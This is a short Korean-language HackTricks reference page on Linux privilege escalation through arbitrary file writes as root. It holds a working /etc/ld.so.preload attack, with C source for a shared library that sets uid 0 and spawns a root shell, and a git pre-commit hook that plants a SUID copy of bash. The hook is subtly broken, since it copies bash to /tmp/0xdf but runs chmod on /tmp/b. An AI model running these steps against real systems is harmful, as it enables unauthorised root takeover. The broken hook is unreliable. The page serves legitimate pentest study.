λ£¨νŠΈμ— μž„μ˜ 파일 μ“°κΈ°

Tip

AWS ν•΄ν‚Ή 배우기 및 μ—°μŠ΅ν•˜κΈ°:HackTricks Training AWS Red Team Expert (ARTE)
GCP ν•΄ν‚Ή 배우기 및 μ—°μŠ΅ν•˜κΈ°: HackTricks Training GCP Red Team Expert (GRTE) Azure ν•΄ν‚Ή 배우기 및 μ—°μŠ΅ν•˜κΈ°: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks μ§€μ›ν•˜κΈ°

/etc/ld.so.preload

이 νŒŒμΌμ€ LD_PRELOAD ν™˜κ²½ λ³€μˆ˜μ²˜λŸΌ μž‘λ™ν•˜μ§€λ§Œ SUID λ°”μ΄λ„ˆλ¦¬μ—μ„œλ„ μž‘λ™ν•©λ‹ˆλ‹€.
이 νŒŒμΌμ„ μƒμ„±ν•˜κ±°λ‚˜ μˆ˜μ •ν•  수 μžˆλ‹€λ©΄, μ‹€ν–‰λ˜λŠ” 각 λ°”μ΄λ„ˆλ¦¬μ™€ ν•¨κ»˜ λ‘œλ“œλ  라이브러리의 경둜λ₯Ό μΆ”κ°€ν•  수 μžˆμŠ΅λ‹ˆλ‹€.

예: echo "/tmp/pe.so" > /etc/ld.so.preload

#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>

void _init() {
unlink("/etc/ld.so.preload");
setgid(0);
setuid(0);
system("/bin/bash");
}
//cd /tmp
//gcc -fPIC -shared -o pe.so pe.c -nostartfiles

Git hooks

Git hooksλŠ” git λ¦¬ν¬μ§€ν† λ¦¬μ—μ„œ 컀밋이 μƒμ„±λ˜κ±°λ‚˜ 병합될 λ•Œμ™€ 같은 λ‹€μ–‘ν•œ μ΄λ²€νŠΈμ—μ„œ μ‹€ν–‰λ˜λŠ” μŠ€ν¬λ¦½νŠΈμž…λ‹ˆλ‹€. λ”°λΌμ„œ 특ꢌ 슀크립트 λ˜λŠ” μ‚¬μš©μžκ°€ μ΄λŸ¬ν•œ μž‘μ—…μ„ 자주 μˆ˜ν–‰ν•˜κ³  .git 폴더에 μ“°κΈ°κ°€ κ°€λŠ₯ν•˜λ‹€λ©΄, μ΄λŠ” privesc에 μ‚¬μš©λ  수 μžˆμŠ΅λ‹ˆλ‹€.

예λ₯Ό λ“€μ–΄, git λ¦¬ν¬μ§€ν† λ¦¬μ˜ **.git/hooks**에 슀크립트λ₯Ό μƒμ„±ν•˜μ—¬ μƒˆλ‘œμš΄ 컀밋이 생성될 λ•Œλ§ˆλ‹€ 항상 μ‹€ν–‰λ˜λ„λ‘ ν•  수 μžˆμŠ΅λ‹ˆλ‹€:

echo -e '#!/bin/bash\n\ncp /bin/bash /tmp/0xdf\nchown root:root /tmp/0xdf\nchmod 4777 /tmp/b' > pre-commit
chmod +x pre-commit

Cron & Time files

TODO

Service & Socket files

TODO

binfmt_misc

/proc/sys/fs/binfmt_misc에 μœ„μΉ˜ν•œ νŒŒμΌμ€ μ–΄λ–€ λ°”μ΄λ„ˆλ¦¬κ°€ μ–΄λ–€ μœ ν˜•μ˜ νŒŒμΌμ„ μ‹€ν–‰ν•΄μ•Ό ν•˜λŠ”μ§€λ₯Ό λ‚˜νƒ€λƒ…λ‹ˆλ‹€. TODO: 일반 파일 μœ ν˜•μ΄ 열릴 λ•Œ rev shell을 μ‹€ν–‰ν•˜κΈ° μœ„ν•΄ 이λ₯Ό μ•…μš©ν•  μš”κ΅¬ 사항을 ν™•μΈν•˜μ‹­μ‹œμ˜€.

Tip

AWS ν•΄ν‚Ή 배우기 및 μ—°μŠ΅ν•˜κΈ°:HackTricks Training AWS Red Team Expert (ARTE)
GCP ν•΄ν‚Ή 배우기 및 μ—°μŠ΅ν•˜κΈ°: HackTricks Training GCP Red Team Expert (GRTE) Azure ν•΄ν‚Ή 배우기 및 μ—°μŠ΅ν•˜κΈ°: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks μ§€μ›ν•˜κΈ°